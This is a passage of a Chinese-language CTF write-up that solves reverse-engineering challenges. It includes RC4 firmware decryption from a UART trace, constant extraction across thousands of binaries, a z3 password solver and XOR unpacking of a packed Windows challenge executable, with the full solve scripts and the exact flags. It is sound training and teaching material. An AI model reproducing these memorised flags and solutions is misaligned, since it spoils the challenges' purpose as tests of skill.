0xa6: subs r3, r3, r1
0xa8: ldr r1, [r7, #8]
0xaa: add r3, r1
0xac: ldrb r3, [r3]
0xae: add r3, r2
0xb0: rsbs r2, r3, #0
0xb2: uxtb r3, r3
0xb4: uxtb r2, r2
0xb6: it pl
0xb8: rsbpl r3, r2, #0
0xba: str r3, [r7, #0x18]
0xbc: ldr r2, [r7, #0xc]
0xbe: ldr r3, [r7, #0x14]
0xc0: add r3, r2
0xc2: ldrb r3, [r3]
0xc4: strb r3, [r7, #0x13]
0xc6: ldr r2, [r7, #0xc]
0xc8: ldr r3, [r7, #0x18]
0xca: add r3, r2
0xcc: ldrb r1, [r3]
0xce: ldr r2, [r7, #0xc]
0xd0: ldr r3, [r7, #0x14]
0xd2: add r3, r2
0xd4: mov r2, r1
0xd6: strb r2, [r3]
0xd8: ldr r2, [r7, #0xc]
0xda: ldr r3, [r7, #0x18]
0xdc: add r3, r2
0xde: ldrb r2, [r7, #0x13]
0xe0: strb r2, [r3]
0xe2: ldr r3, [r7, #0x14]
0xe4: adds r3, #1
0xe6: str r3, [r7, #0x14]
0xe8: ldr r3, [r7, #0x14]
0xea: cmp r3, #0xff
0xec: ble #0x8a
0xee: nop
0xf0: nop
0xf2: adds r7, #0x24
0xf4: mov sp, r7
0xf6: pop {r7}
0xf8: bx lr
0xfa: push {r7}
0xfc: sub sp, #0x14
0xfe: add r7, sp, #0
0x100: str r0, [r7, #4]
0x102: ldr r3, [r7, #4]
0x104: ldr.w r3, [r3, #0x100]
0x108: adds r3, #1
0x10a: uxtb r2, r3
0x10c: ldr r3, [r7, #4]
0x10e: str.w r2, [r3, #0x100]
0x112: ldr r3, [r7, #4]
0x114: ldr.w r3, [r3, #0x104]
0x118: ldr r2, [r7, #4]
0x11a: ldr.w r2, [r2, #0x100]
0x11e: ldr r1, [r7, #4]
0x120: ldrb r2, [r1, r2]
0x122: add r3, r2
0x124: uxtb r2, r3
0x126: ldr r3, [r7, #4]
0x128: str.w r2, [r3, #0x104]
0x12c: ldr r3, [r7, #4]
0x12e: ldr.w r3, [r3, #0x100]
0x132: ldr r2, [r7, #4]
0x134: ldrb r3, [r2, r3]
0x136: strb r3, [r7, #0xf]
0x138: ldr r3, [r7, #4]
0x13a: ldr.w r2, [r3, #0x104]
0x13e: ldr r3, [r7, #4]
0x140: ldr.w r3, [r3, #0x100]
0x144: ldr r1, [r7, #4]
0x146: ldrb r1, [r1, r2]
```
於是叫AI生了個code去分析檔案
analyze-data.py
```py
import struct
def read_u32(data, offset):
return struct.unpack('<I', data[offset:offset+4])[0]
with open('firmware.bin', 'rb') as f:
data = f.read()
addr_input_str = read_u32(data, 0x340)
addr_output_str = read_u32(data, 0x344)
addr_array1 = read_u32(data, 0x348)
addr_array2 = read_u32(data, 0x34c)
print(f"Input Str Addr: 0x{addr_input_str:x}")
print(f"Output Str Addr: 0x{addr_output_str:x}")
print(f"Array1 Addr: 0x{addr_array1:x}")
print(f"Array2 Addr: 0x{addr_array2:x}")
# Let's see what's at these addresses
def print_string(data, addr):
if addr >= len(data):
print(f"Addr 0x{addr:x} out of bounds")
return
s = ""
while addr < len(data) and data[addr] != 0:
s += chr(data[addr])
addr += 1
print(f"String: {s}")
print_string(data, addr_input_str)
print_string(data, addr_output_str)
# Let's print bytes at Array1
print("Array1:")
for i in range(32):
if addr_array1 + i < len(data):
print(f"{data[addr_array1+i]:02x}", end=" ")
print()
# Let's print bytes at Array2
print("Array2:")
for i in range(32):
if addr_array2 + i < len(data):
print(f"{data[addr_array2+i]:02x}", end=" ")
print()
```
然後印出byte並且發現他是RC4
並且在看single.vcd 然後AI就幫我寫了
```py
import sys
def parse_vcd(filename):
events = []
current_time = 0
with open(filename, 'r') as f:
for line in f:
line = line.strip()
if not line or line.startswith('$'):
continue
if line.startswith('#'):
current_time = int(line[1:])
elif line.endswith('d'):
val = int(line[0])
events.append((current_time, val))
return events
def decode_uart(events, baud_rate):
bit_period = 1e9 / baud_rate
# Reconstruct the signal as a function of time
# But since we just want to decode, we can simulate sampling.
# Find the first start bit (falling edge)
# Idle is 1. Start bit is 0.
decoded_bytes = []
# Convert events to a more usable format: list of (start_time, value)
# The value is valid from start_time until the next event's start_time
# Let's just iterate through time looking for start bits
current_event_idx = 0
current_val = 1 # Idle state
# We need to handle the timeline.
# Let's find the first falling edge.
# Helper to get value at specific time
def get_value_at(t, events):
# This is inefficient for random access, but if we move forward monotonically it's fine.
# We can keep a pointer.
nonlocal current_event_idx
while current_event_idx < len(events) - 1 and events[current_event_idx+1][0] <= t:
current_event_idx += 1
# If t is before the first event, assume initial state (which was 1 based on dumpvars)
if current_event_idx == -1:
# Check if we have any events
if not events: return 1
if t < events[0][0]: return 1 # Or whatever initial state
# Actually, the VCD dumpvars sets the initial state at #0 usually.
# In the provided snippet:
# $dumpvars
# 1d
# $end
# #0
# 1d
# So at t=0, value is 1.
# If we are past the last event, the value holds.
return events[current_event_idx][1]
# Reset pointer for the helper
current_event_idx = 0
# Find max time
max_time = events[-1][0]
t = 0
while t < max_time:
val = get_value_at(t, events)
if val == 0: # Potential start bit
# Verify start bit by checking middle of the bit
sample_time = t + bit_period / 2
if get_value_at(sample_time, events) == 0:
# Valid start bit
byte_val = 0
for i in range(8):
sample_time += bit_period
bit = get_value_at(sample_time, events)
byte_val |= (bit << i)
decoded_bytes.append(byte_val)
# Skip stop bit
sample_time += bit_period
# Ideally stop bit should be 1
# Move t to after the stop bit to search for next start bit
# We are currently at center of stop bit.
# Move to end of stop bit.
t = sample_time + bit_period / 2
else:
# False start, move forward a bit
t += bit_period / 10 # small step
else:
# Wait for falling edge
# We can jump to the next event if it's a falling edge
next_change_time = -1
# Look ahead in events
temp_idx = current_event_idx
while temp_idx < len(events) - 1:
if events[temp_idx+1][1] == 0:
next_change_time = events[temp_idx+1][0]
break
temp_idx += 1
if next_change_time != -1 and next_change_time > t:
t = next_change_time
else:
# No more falling edges
break
return bytes(decoded_bytes)
events = parse_vcd('signal.vcd')
# The snippet showed #0 1d, so initial state is 1.
# The events list from parse_vcd will contain (#0, 1) as the first element if it's in the file.
# The provided snippet shows:
# $dumpvars
# 1d
# $end
# #0
# 1d
# So yes.
decoded = decode_uart(events, 9600)
print(decoded)
```
然後就印出Key了:`b4r3MEt41`
寫個decrypt file
```py
def rc4_ksa(key):
key_len = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % key_len]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_prga(S, length):
i = 0
j = 0
stream = []
for _ in range(length):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
stream.append(k)
return stream
key = b"b4r3MEt41"
ciphertext = bytes([
0xa2, 0xc3, 0x9e, 0xcc, 0x60, 0x35, 0xee, 0xbf, 0xf5, 0x7d, 0x78, 0x5a, 0xcd, 0xd5, 0xc8, 0x52,
0x80, 0xae, 0xc6, 0x19, 0x56, 0xf2, 0xa7, 0xcb, 0xd5, 0x0b, 0xe1, 0x61, 0xb9, 0x14
])
S = rc4_ksa(key)
stream = rc4_prga(S, len(ciphertext))
plaintext = bytes([c ^ k for c, k in zip(ciphertext, stream)])
print(plaintext)
```
> Flag: EOF{ExP3d14i0N_33_15_4he_G0AT}
### Structured - Small
> Solver: Yuto

這題附件打開會看到 10 個 binary,`small-flag_[0-10]`。
第一個打開就可以看到 `main()` 在 `argv[1]` 接了一個字串然後做字串比對。

把之後的每個檔案的都拆出來就會是
```
'galf eht'
'iht rof '
'ellahc s'
' :si egn'
'5{FOEuRT'
'r_D3RuTC'
'3_35R3V3'
'1Re3N1gn'
'609_gNaf'
'9405919c'
'45f98}\n'
```
然後可以注意到,像是 `small-flag_{4,7}` 有做 ror,就要把他轉回來。

small-flag_4

small-flag_8
small-flag_10 甚至還有 bswap:

組起來後就可以拿到 flag 了。
> Flag:`EOF{5TRuCTuR3D_r3V3R53_3ng1N3eR1Ng_906fac919504945f98}`
腳本
```python title:solve.py
import subprocess
import re
import os
def rol64(x, n):
return ((x << n) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - n))
def get_challenges():
challenges = []
for i in range(11):
filename = f"small-flag_{i}"
if not os.path.exists(filename):
print(f"Warning: {filename} not found")
continue
cmd = ["objdump", "-d", "-M", "intel", filename]
try:
output = subprocess.check_output(cmd).decode("utf-8")
except Exception as e:
print(f"Error processing {filename}: {e}")
continue
# Find the constant
# Look for movabs rax/rdx, 0x...
match_mov = re.search(r'movabs\s+(?:rax|rdx),\s*(0x[0-9a-fA-F]+)', output)
if not match_mov:
print(f"Could not find constant in {filename}")
continue
target_hex = int(match_mov.group(1), 16)
# Check for bswap
if 'bswap' in output:
challenges.append((i, target_hex, 'bswap'))
continue
# Check for ror
match_ror = re.search(r'ror\s+(?:rax|rdx|rcx),\s*(0x[0-9a-fA-F]+)', output)
if match_ror:
ror_val = int(match_ror.group(1), 16)
challenges.append((i, target_hex, ror_val))
else:
challenges.append((i, target_hex, 0))
return challenges
def solve():
challenges = get_challenges()
challenges.sort(key=lambda x: x[0])
full_flag = ""
print(f"{'Part':<5} | {'Hex':<18} | {'String'}")
print("-" * 45)
for idx, target, param in challenges:
decoded = ""
if param == 'bswap':
# Part 10: target bytes are reversed chars
try:
b = target.to_bytes(8, 'big')
decoded = b[1:][::-1].decode('latin-1')
except Exception as e:
decoded = f"Error: {e}"
else:
# Generic: Rotate Left to restore
ror = param
val = rol64(target, ror)
try:
decoded = val.to_bytes(8, 'big').decode('latin-1')
except Exception as e:
decoded = f"Error: {e}"
print(f"{idx:<5} | {hex(target):<18} | {decoded}")
full_flag += decoded
print("-" * 45)
print(f"Flag: {full_flag[full_flag.find("EOF{")::]}")
if __name__ == "__main__":
solve()
```
### Structured - Large
> Solver: Yuto

這次跟 small 不同,有 25136 個檔案,勢必得用腳本解出所有的。

先打開 `large-flag_0`,可以看到比較的那串數字直接變成 PNG 的 header,因此可以猜測要解的是一張圖片。而且看反組譯的的組合語言,會發現前 10 的地都長的一樣。

後面也會有不一樣的但就慢慢改腳本,最後解出了這個:

然後靠隊友通靈出來。
Flag:`EOF{w31l_d0N3_b0t}`
腳本
```python title:solve.py
import sys
import struct
import os
import re
TOTAL_FILES = 25136
OUTPUT_FILE = "flag.png"
def rol64(n, shift):
return ((n << shift) & 0xFFFFFFFFFFFFFFFF) | (n >> (64 - shift))
def extract_from_file(filepath):
try:
with open(filepath, "rb") as f:
data = f.read()
except:
return b'\x00'*8
val = 0
found = False
# --- Patterns ---
# 1. MOVABS (64-bit)
match = re.search(b'\x48[\xb8-\xbf](.{8}).{0,16}\x48\x39', data, re.DOTALL)
if match:
val = struct.unpack("<Q", match.group(1))[0]
found = True
# 2. MOV R32 (32-bit, clears high bits)
if not found:
match = re.search(b'[\xb8-\xbf](.{4}).{0,16}\x48\x39', data, re.DOTALL)
if match:
val = struct.unpack("<I", match.group(1))[0]
found = True
# 3. CMP IMM32
if not found:
match = re.search(b'\x48\x81[\xf8-\xff](.{4}).{0,8}(\x0f\x95|\xc3|\x75)', data, re.DOTALL)
if match:
val = struct.unpack("<I", match.group(1))[0]
found = True
# 4. CMP IMM8 (Signed 8-bit extended)
if not found:
match = re.search(b'\x48\x83[\xf8-\xff](.).{0,8}(\x0f\x95|\xc3|\x75)', data, re.DOTALL)
if match:
# 這裡要注意: IMM8 是 signed 的!
# 例如 0xff 代表 -1,而不是 255
byte_val = match.group(1)[0]
if byte_val > 127:
val = 0xFFFFFFFFFFFFFF00 | byte_val # Sign extend to 64-bit
else:
val = byte_val
found = True
# 5. TEST ZERO
if not found:
if re.search(b'\x48\x85[\xc0-\xff].{0,8}\x0f\x95', data, re.DOTALL):
val = 0
found = True
# 6. [NEW] XOR REG, REG (Set to 0) followed by CMP
if not found:
# 31 c0~ff (xor reg, reg) ... 48 39 (cmp)
if re.search(b'\x31[\xc0-\xff].{0,8}\x48\x39', data, re.DOTALL):
val = 0
found = True
if not found:
# 如果真的找不到,回傳 None 讓我們知道
return None
# --- Operations ---
# ROR
ror_match = re.search(b'\x48\xc1[\xc8-\xcf](.)', data, re.DOTALL)
if ror_match:
shift = ord(ror_match.group(1))
val = rol64(val, shift)
# BSWAP
if re.search(b'\x48\x0f[\xc8-\xcf]', data, re.DOTALL):
bytes_val = val.to_bytes(8, 'little')
val = struct.unpack("<Q", bytes_val[::-1])[0]
return val.to_bytes(8, 'big')
def main():
print(f"[*] Solving {TOTAL_FILES} files...")
first_chunk = b""
fail_count = 0
with open(OUTPUT_FILE, "wb") as f_out:
for i in range(TOTAL_FILES):
filename = f"data/large-flag_{i}"
chunk = extract_from_file(filename)
if chunk:
f_out.write(chunk)
if i == 0: first_chunk = chunk
else:
# 這裡最關鍵:如果失敗,我們印出來,並填入明顯的錯誤 pattern (如 AAAAAAAA)
# 這樣如果你用 hex editor 看 png,看到一堆 A 就知道哪裡爛了
if fail_count < 5:
print(f"[!] FAILED at index {i} (File: {filename})")
f_out.write(b'\x00' * 8) # 填 0 維持對齊
fail_count += 1
if i % 5000 == 0:
print(f"[*] {i}/{TOTAL_FILES}")
print(f"[*] Done. Total Failures: {fail_count}")
if first_chunk.hex() == "89504e470d0a1a0a":
print("[+] Header OK (PNG)")
else:
print(f"[!] Header BAD: {first_chunk.hex()}")
if __name__ == "__main__":
main()
```
賽後跟 LLM 搞了個完美的解題腳本:
```python solve.py
import subprocess
import re
import os
import glob
from multiprocessing import Pool
OUTPUT_FILE = "flag.png"
def rol64(x, n):
return ((x << n) & 0xFFFFFFFFFFFFFFFF) | (x >> (64 - n))
def ror64(x, n):
return ((x >> n) & 0xFFFFFFFFFFFFFFFF) | ((x << (64 - n)) & 0xFFFFFFFFFFFFFFFF)
def get_instructions(filename):
cmd = ["objdump", "-d", "-M", "intel", filename]
output = subprocess.check_output(cmd).decode("utf-8")
lines = []
for line in output.splitlines():
parts = line.split('\t')
if len(parts) > 2:
lines.append(parts[2].strip())
return lines
def parse_challenge(filename):
try:
basename = os.path.basename(filename)
idx = int(basename.split('_')[1])
insts = get_instructions(filename)
# 1. Find the check (setne al)
check_idx = -1
for i in range(len(insts) - 1, -1, -1):
if insts[i].startswith("setne"):
check_idx = i
break
if check_idx == -1:
# Fallback for Pattern 19 (single byte)
# It might not use setne? Or maybe it does.
# Pattern 19: cmp BYTE PTR [rax], IMM; setne al
# So it should be found.
# Let's check if we missed it or if it's just not there.
return (filename, idx, None)
# 2. Identify Comparison
# The instruction before setne is the comparison
# It could be 'movzx eax, al' then 'ret' (if setne is earlier)
# But usually: cmp ...; setne al; movzx eax, al; ret
# Let's look at the instruction immediately before setne
cmp_inst = insts[check_idx - 1]
target_val = None
data_reg = None
# Parse comparison
# cmp rcx, rax
# test rcx, rcx
# cmp rdx, IMM
# cmp BYTE PTR [rax], IMM
parts = cmp_inst.split()
mnemonic = parts[0]
ops = "".join(parts[1:]).split(',')
if mnemonic == "cmp":
op1 = ops[0]
op2 = ops[1]
if "BYTE PTR" in op1:
# Pattern 19: cmp BYTE PTR [rax], 0x82
val = int(op2, 16)
return (filename, idx, val.to_bytes(1, 'little'))
if op2.startswith("0x") or op2.isdigit():
# cmp rdx, IMM
target_val = int(op2, 16)
data_reg = op1
else:
# cmp rcx, rax
# op1 is data, op2 is constant register
data_reg = op1
const_reg = op2
# Find where const_reg was defined
# Walk backwards from cmp_inst
for k in range(check_idx - 2, -1, -1):
curr = insts[k]
# movabs rax, IMM
# mov eax, IMM
if curr.startswith("mov"):
args = "".join(curr.split()[1:]).split(',')
dest_reg = args[0]
src_val = args[1]
# Check if dest_reg matches const_reg (handling 32-bit alias)
match = False
if dest_reg == const_reg:
match = True
elif const_reg == "rax" and dest_reg == "eax":
match = True
elif const_reg == "rcx" and dest_reg == "ecx":
match = True
elif const_reg == "rdx" and dest_reg == "edx":
match = True
if match and (src_val.startswith("0x") or src_val.isdigit()):
target_val = int(src_val, 16)
break
elif mnemonic == "test":
# test rcx, rcx
target_val = 0
data_reg = ops[0]
if target_val is None:
return (filename, idx, None)
# 3. Trace Data Transformations
transformations = []
for k in range(check_idx - 2, -1, -1):
curr = insts[k]
if curr.startswith("jne"):
break
# Check for ror, rol, bswap on data_reg
if curr.startswith("ror") or curr.startswith("rol") or curr.startswith("bswap"):
parts = curr.split()
mnem = parts[0]
args = "".join(parts[1:]).split(',')
reg = args[0]
if reg == data_reg:
if mnem == "bswap":
transformations.append(('bswap', 0))
else:
# ror rdx, 0x...
val_str = args[1]
shift = 1 if val_str == '1' else int(val_str, 16)
transformations.append((mnem, shift))
# 4. Apply Inverse Transformations
current_val = target_val
for op, val in transformations:
if op == 'ror':
# Inverse is rol
current_val = rol64(current_val, val)
elif op == 'rol':
# Inverse is ror
current_val = ror64(current_val, val)
elif op == 'bswap':
bytes_val = current_val.to_bytes(8, 'little')
current_val = int.from_bytes(bytes_val, 'big')
return (filename, idx, current_val.to_bytes(8, 'big'))
except Exception as e:
print(f"Error parsing {filename}: {e}")
return (filename, idx, None)
def main():
files = glob.glob("data/large-flag_*")
print(f"Found {len(files)} files. Processing with flow analysis...")
with Pool(processes=os.cpu_count()) as pool:
results = pool.map(parse_challenge, files)
failures = [r for r in results if r[2] is None]
if failures:
print(f"[-] Failed to parse {len(failures)} files.")
print("First 5 failures:", [f[0] for f in failures[:5]])
return
print("[+] All files parsed successfully.")
results.sort(key=lambda x: x[1])
full_data = bytearray()
for _, _, data in results:
full_data.extend(data)
with open(OUTPUT_FILE, "wb") as f:
f.write(full_data)
print(f"[+] Saved to {OUTPUT_FILE}")
if __name__ == "__main__":
main()
```
### ポケモン GO

先直接跑起來看看。程式會印出提示,要求輸入密碼。密碼錯誤後程式就結束了,所以首先要先找出密碼。

用 Binary Ninja 打開可以看到直接從 start() 開始,然後接著一坨 API Hashing 的部分,直接開動態看可以比較快還原出來。
還原之後就可以看到一開始輸入畫面的地方。

後續可以看到一個計算字串長度的 while 迴圈,接著底下就會看到一大坨比對密碼的線性運算?總之這個可以給 z3 解。
```python title:solve.py
from z3 import *
s = Solver()
x = [BitVec(f"x_{i}", 32) for i in range(18)]
# flag is printable
for i in range(18):
s.add(x[i] >= 32)
s.add(x[i] <= 126)
# Block 1: Target 0x1e8126
s.add(
x[13] * 0x155
+ x[5] * 0x4F6
+ x[8] * 0x648
+ x[4] * 0x111
+ x[0] * 0xC75
+ x[2] * 0x758
+ x[3] * 0x7C9
+ x[1] * 0x1F5
+ x[16] * 0x4BF
+ x[9] * 0x263
+ x[12] * 0x70
+ x[14] * 9
+ x[17] * 0x56A
+ x[6] * 0x4D1
+ x[15] * 0xEBE
+ x[10] * 0x18A
+ x[7] * 0xB1F
+ x[11] * 0x74C
== 0x1E8126
)
# Block 2: Target 0x2e3d40
s.add(
x[13] * 0xB16
+ x[12] * 0x98F
+ x[15] * 0x26C
+ x[4] * 0x941
+ x[9] * 0x695
+ x[0] * 0xE83
+ x[2] * 0x2BE
+ x[10] * 0xA0D
+ x[5] * 0xFFC
+ x[16] * 0xFAB
+ x[11] * 0x53F
+ x[14] * 0x372
+ x[1] * 0x1A9
+ x[6] * 0x447
+ x[8] * 0x6A0
+ x[7] * 0x268
+ x[3] * 0xC72
+ x[17] * 0x347
== 0x2E3D40
)
# Block 3: Target 0x38e4c6
s.add(
x[8] * 0xCBA
+ x[3] * 0xF44
+ x[1] * 0x52A
+ x[16] * 0xCFC
+ x[2] * 0xF02
+ x[5] * 0x507
+ x[7] * 0x218
+ x[12] * 0xEF8
+ x[9] * 0xBFE
+ x[11] * 0xF39
+ x[17] * 0xF6C
+ x[15] * 0xB11
+ x[4] * 0xB9B
+ x[10] * 0x1AD
+ x[13] * 0xA7C
+ x[14] * 0x2F3
+ x[6] * 0x21
+ x[0] * 0x63B
== 0x38E4C6
)
# Block 4: Target 0x2b5d3a
s.add(
x[16] * 0xD6
+ x[2] * 0xEFC
+ x[17] * 0x99A
+ x[5] * 0x258
+ x[12] * 0x3B3
+ x[15] * 0x36C
+ x[9] * 0x593
+ x[0] * 0x591
+ x[1] * 0x96F
+ x[11] * 0x48F
+ x[8] * 0xDF0
+ x[7] * 0x27
+ x[10] * 0xD8C
+ x[13] * 0x68
+ x[6] * 0x2E7
+ x[4] * 0x4AF
+ x[3] * 0xF14
+ x[14] * 0xAC8
== 0x2B5D3A
)
# Block 5: Target 0x2f6ad7
s.add(
x[15] * 0x173
+ x[8] * 0x3BC
+ x[12] * 0x2BE
+ x[3] * 0x373
+ x[0] * 0x43A
+ x[10] * 0xF23
+ x[9] * 0xFBB
+ x[14] * 0x9F8
+ x[7] * 0x487
+ x[13] * 0x408
+ x[11] * 0xBF9
+ x[16] * 0x90D
+ x[5] * 0x13F
+ x[4] * 0xE7D
+ x[2] * 0xC79
+ x[6] * 0x9DF
+ x[1] * 0x4B5
+ x[17] * 0xD81
== 0x2F6AD7
)
# Block 6: Target 0x2876ce
s.add(
x[7] * 0x12
+ x[11] * 0x4FD
+ x[9] * 0x572
+ x[2] * 0xEFF
+ x[14] * 0xF7C
+ x[1] * 1
+ x[17] * 0xB2C
+ x[13] * 0xEE4
+ x[10] * 0x4E6
+ x[15] * 0x4C7
+ x[0] * 0x64B
+ x[16] * 0x1E7
+ x[4] * 0x843
+ x[6] * 0x8C5
+ x[3] * 0x306
+ x[5] * 0x3EC
+ x[8] * 0x1C9
+ x[12] * 0xEBD
== 0x2876CE
)
# Block 7: Target 0x23d026
s.add(
x[9] * 0xCD9
+ x[4] * 0xDB
+ x[11] * 0x24F
+ x[6] * 0xD1
+ x[5] * 0x3D1
+ x[16] * 0xB4C
+ x[1] * 0xA75
+ x[13] * 0x4D6
+ x[2] * 0x2B5
+ x[17] * 0xD8E
+ x[12] * 0xECF
+ x[8] * 0xDD
+ x[10] * 0x1F6
+ x[7] * 0xA78
+ x[3] * 0xE4
+ x[14] * 0x48C
+ x[15] * 0x43E
+ x[0] * 0xF55
== 0x23D026
)
# Block 8: Target 0x411950
s.add(
x[1] * 0x88B
+ x[17] * 0x9B7
+ x[12] * 0x81A
+ x[2] * 0x654
+ x[11] * 0xC20
+ x[9] * 0xB8C
+ x[0] * 0x9F2
+ x[8] * 0xF22
+ x[14] * 0xCD3
+ x[16] * 0xC2E
+ x[13] * 0xD25
+ x[15] * 0xAB3
+ x[4] * 0x666
+ x[10] * 0xB77
+ x[7] * 0x747
+ x[5] * 0xD61
+ x[3] * 0xD7E
+ x[6] * 0xB98
== 0x411950
)
# Block 9: Target 0x2fdc0e
s.add(
x[12] * 0x40F
+ x[14] * 0xFD7
+ x[5] * 0x694
+ x[17] * 0x316
+ x[10] * 0x957
+ x[0] * 0x21F
+ x[7] * 0xF3
+ x[15] * 0xC62
+ x[2] * 0x2DA
+ x[11] * 0xE9A
+ x[3] * 0xF94
+ x[1] * 0xCD3
+ x[6] * 0x437
+ x[13] * 0x1CF
+ x[9] * 0x46C
+ x[4] * 0x7A5
+ x[8] * 0xB7D
+ x[16] * 0xA68
== 0x2FDC0E
)
# Block 10: Target 0x2afdbb
s.add(
x[4] * 0x667
+ x[15] * 0xC3B
+ x[10] * 0xD29
+ x[9] * 0x620
+ x[0] * 0xD7E
+ x[6] * 0x46C
+ x[1] * 0x193
+ x[13] * 0x1A9
+ x[11] * 0x3DD
+ x[8] * 0xE47
+ x[12] * 0x99F
+ x[5] * 0xC81
+ x[16] * 0x606
+ x[2] * 0x46
+ x[7] * 0xBB1
+ x[17] * 0x40D
+ x[3] * 0x140
+ x[14] * 0xBD3
== 0x2AFDBB
)
# Block 11: Target 0x2fd74e
s.add(
x[8] * 0x8DC
+ x[0] * 0xA8
+ x[6] * 0xC5
+ x[9] * 0xDBE
+ x[3] * 0x46E
+ x[10] * 0xA16
+ x[15] * 0x2A3
+ x[1] * 0xE10
+ x[5] * 0x2E2
+ x[12] * 0xF3C
+ x[2] * 0xF3F
+ x[17] * 0xCDA
+ x[7] * 0xC7D
+ x[4] * 0xA9D
+ x[14] * 0x383
+ x[16] * 0x1F9
+ x[11] * 0x423
+ x[13] * 0x1B9
== 0x2FD74E
)
# Block 12: Target 0x2e5011
s.add(
x[5] * 0x937
+ x[0] * 0x93B
+ x[3] * 0xE4C
+ x[14] * 0x8CD
+ x[7] * 0x49F
+ x[10] * 0x1E7
+ x[15] * 0x224
+ x[9] * 0x429
+ x[1] * 0xFDD
+ x[13] * 0x590
+ x[8] * 0x534
+ x[12] * 0xD8A
+ x[2] * 0x5AF
+ x[17] * 0x264
+ x[6] * 0xC8B
+ x[4] * 0x38C
+ x[11] * 0xC6E
+ x[16] * 0x39B
== 0x2E5011
)
# Block 13: Target 0x276b58
# 注意:原始碼中有 (zx.d(*(ebp_1[-0x23] + 0xe)) << 6),係數為 64 (0x40)
s.add(
x[0] * 0x8AB
+ x[11] * 0x9AC
+ x[2] * 0xA7F
+ x[6] * 0x59
+ x[15] * 0xD67
+ x[14] * 64
+ x[4] * 0x1DD
+ x[9] * 0x798
+ x[10] * 0x7A3
+ x[5] * 0x8D
+ x[8] * 0x1AF
+ x[17] * 0x141
+ x[13] * 0xB24
+ x[7] * 0xFD0
+ x[1] * 0x407
+ x[16] * 0xC93
+ x[3] * 0x63A
+ x[12] * 0x3A7
== 0x276B58
)
# Block 14: Target 0x306ca1
s.add(
x[16] * 0x8AC
+ x[6] * 0x66F
+ x[17] * 0x5DE
+ x[3] * 0xB40
+ x[14] * 0x3AA
+ x[13] * 0x59D
+ x[7] * 0x8BA
+ x[4] * 0xC37
+ x[5] * 0xD34
+ x[8] * 0x4AD
+ x[12] * 0x58D
+ x[11] * 0xE5C
+ x[10] * 0x2ED
+ x[9] * 0xD2F
+ x[1] * 0xF31
+ x[2] * 0x87
+ x[0] * 0xE5B
+ x[15] * 0x3A0
== 0x306CA1
)
# Block 15: Target 0x321fe1
s.add(
x[2] * 0x39E
+ x[9] * 0x502
+ x[7] * 0xD70
+ x[6] * 0xCE3
+ x[10] * 0xC6B
+ x[14] * 0x78C
+ x[1] * 0xFE4
+ x[16] * 0xD5
+ x[11] * 0x91
+ x[12] * 0x3B
+ x[3] * 0x657
+ x[4] * 0xFFC
+ x[0] * 0x46C
+ x[15] * 0x3CF
+ x[5] * 0x41F
+ x[17] * 0x238
+ x[8] * 0xB6D
+ x[13] * 0xAF6
== 0x321FE1
)
# Block 16: Target 0x29d6c6
s.add(
x[3] * 0x18D
+ x[13] * 0x8C6
+ x[0] * 0x560
+ x[7] * 0x2CC
+ x[4] * 0x6AE
+ x[10] * 0xCFB
+ x[12] * 0xF90
+ x[14] * 0x79B
+ x[5] * 0xDA4
+ x[8] * 0x8A3
+ x[15] * 0x970
+ x[17] * 0x52E
+ x[11] * 0x9E4
+ x[16] * 0x19B
+ x[2] * 0x678
+ x[9] * 0x275
+ x[1] * 0x5DD
+ x[6] * 0x275
== 0x29D6C6
)
# Block 17: Target 0x2d6a00
s.add(
x[2] * 0x96E
+ x[8] * 0x6D
+ x[11] * 0x941
+ x[12] * 0xB4
+ x[15] * 0x181
+ x[17] * 0x7B7
+ x[14] * 0xC3
+ x[9] * 0x739
+ x[16] * 0xBAF
+ x[4] * 0x7BE
+ x[1] * 0x675
+ x[5] * 0x733
+ x[0] * 0xDA0
+ x[6] * 0xA64
+ x[3] * 0x88F
+ x[7] * 0xA68
+ x[13] * 0xD58
+ x[10] * 0x713
== 0x2D6A00
)
# Block 18: Target 0x303ea0
s.add(
x[2] * 0x683
+ x[12] * 0x53
+ x[1] * 0x263
+ x[11] * 0x704
+ x[16] * 0xE43
+ x[15] * 0x5CB
+ x[5] * 0x3F0
+ x[17] * 0xF1F
+ x[9] * 0x8AD
+ x[10] * 0xE66
+ x[6] * 0xDF2
+ x[13] * 0x930
+ x[8] * 0x729
+ x[7] * 0x40F
+ x[3] * 0xB61
+ x[14] * 0x525
+ x[0] * 0xA34
+ x[4] * 0xDD
== 0x303EA0
)
print("[+] Solving...")
if s.check() == sat:
m = s.model()
result = ""
for i in range(18):
val = m[x[i]].as_long()
result += chr(val)
print(f"FLAG: {result}")
```
執行結果是:
```shell
➜ uvr solve.py
[+] Solving...
FLAG: 1s_th1s_y0u7_f1@g?
```
看來這不是 flag,重新執行程式並輸入進去看看。他會跳一個很大的寶可夢 banner 並且底下可以輸入一些文字。

會發現回到 Binary Ninja 裡面找好像沒有看到這樣的字串。順著程式流程搭配 x64dbg 往下看,可以看到他有對記憶體改權限,值得關注的是 `PAGE_EXECUTE_REAWRITE`,通常在解密 shellcode 或是解殼很常見。很重要的是,在 `0x0042c904` 的地方會先把剛剛輸入的 key 放到位址 `0x43a218`

然後找到解殼的部分,從地址 `0x401000` 解密 `0x015600` 個位元組,並且拿第一階段輸入的密碼作為密鑰:

寫個解密腳本:
```python title:decrypt.py
import pefile
def solve():
filename, outname = "PokemonGo.exe", "decrypted_PokemonGo.exe"
key = b"1s_th1s_y0u7_f1@g?"
va_start = 0x401000
size = 0x15600
print(f"[*] Loading {filename}...")
pe = pefile.PE(filename)
rva = va_start - pe.OPTIONAL_HEADER.ImageBase
offset = pe.get_offset_from_rva(rva)
print(f"[*] VA 0x{va_start:X} maps to File Offset: 0x{offset:X}")
data = bytearray(pe.__data__)
k_len = len(key)
for i in range(size):
if offset + i < len(data):
data[offset + i] ^= (key[i % k_len] + i) & 0xFF
with open(outname, "wb") as f:
f.write(data)
print(f"[+] Saved to {outname}")
if __name__ == "__main__":
solve()
```
在 `0x0042ca40` 可以看到解完殼後跳到 `0x405ce4`,就是原本被加密的部分。接著他會 call 到 `0x405b5f` 一個很像 crt 的函式,在裡面 `0x405c5f` 的位址就可以看到呼叫 `main`(`0x004041e0`) 了。
